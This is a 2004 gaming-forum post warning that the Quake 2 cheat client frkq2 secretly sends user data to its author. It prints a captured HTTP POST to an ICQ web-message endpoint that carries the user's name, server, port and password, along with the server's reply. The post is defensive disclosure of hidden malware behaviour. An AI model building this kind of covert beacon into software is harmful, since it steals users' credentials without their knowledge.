| |
| | |
|
This is a message that you don't know whether you should write it or not.
Anyway, i have decided to write it now.
//Source --> Jyx who points a warning finger ;-)
It have been a bit of a secret before that we have runned a anticheat on eG etc.
It caught a frkq2 users. But as usual there is updates of cheats too, and thus is my anticheat "outdated" now.
Earlier today i got myself to have a look on the whole again.
Downloaded a new version of frkq2 (not hard to find).
I was intrested to check the networktraffic between a server and a client on protocol-level.
To "sniff" the traffic i used ethereal. Said and done. I started a local server and connected with the q2frk-client to that server.
After a little while i closed down and started to look on the packets.
By mere accident i see that frkq2 is trying to establish a connection to ICQ's homepage and try to send information about me and my settings to frkq2@frkq2.com and with icq-number 9500596, which belongs to a certain Franck Rock in Brazil.
I warn about this because i know that some try cheat of various reasons. For example; by pure curiosity, development of anticheat.
Unfortunately there is idiots that uses this kind of stuff here out on the servers too, and i really don't want to warn them, they can have this kind of shit as a bonus for using it.
Below is what frkq2 tried to do without the users knowledge.
Code:
POST /scripts/WWPMsg.dll HTTP/1.0
Referer: http://wwp.mirabilis.com
User-Agent: Mozilla/4.06 (Win95; I)
Connection: Keep-Alive
Host: wwp.mirabilis.com:80
Content-type: application/x-www-form-urlencoded
Content-length: 208
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
from=frkq2&fromemail=frkq2@frkq2.com&subject=frkq2 user&body=Name:+[eG]Jyx%0ASkin:+female/brianna%0AServer:+localhost:27910%0APort:+27901%0APass:+really_smart_move_frank_to_send_this_by_icq&to=9500596&send=""
HTTP/1.1 200 OK
Date: Wed, 07 Apr 2004 20:19:04 GMT
Server: Apache/1.3.29 (Unix) mod_ssl/2.8.16 OpenSSL/0.9.7c
P3P: CP="ONL UNI COM PHY NAV INT DEM CURo OUR"
Cache-Control: max-age=0
Expires: Wed, 07 Apr 2004 20:19:04 GMT
Connection: close
Content-Type: text/html
<!-- Vignette StoryServer 5.0 Wed Apr 07 16:19:04 2004 -->
<html><body onLoad="document.frm.submit();">
<form name="frm" action="/whitepages/confirm/1,,,00.html" method="post">
<input type="hidden" name="to" value="9500596">
<input type="hidden" name="nickname" value="">
<input type="hidden" name="from" value="frkq2">
<input type="hidden" name="fromemail" value="frkq2@frkq2.com">
<input type="hidden" name="body" value="Name: [eG]Jyx
Skin: female/brianna
Server: localhost:27910
Port: 27901
Pass: really_smart_move_frank_to_send_this_by_icq">
</form></body></html>
| |
| | |
| |
| | |
|
zloy
 | 2004-04-10 12:39 |
|
DM
 | 2004-04-10 12:26 |
|
zloy
| 2004-04-09 18:39 |
|
DM
| 2004-04-09 16:19 |
|
zloy
| 2004-04-09 11:22 |
|
DM
| 2004-04-09 10:59 |
|
zloy
| 2004-04-09 10:55 |
|
DM
| 2004-04-09 10:53 |
|
DM
| 2004-04-09 10:51 |
|
Gravgon
 | 2004-04-09 10:48 |
|
| |
| | |
| |
| | |
|
You have to register/login first. Register | |
| | |
| |
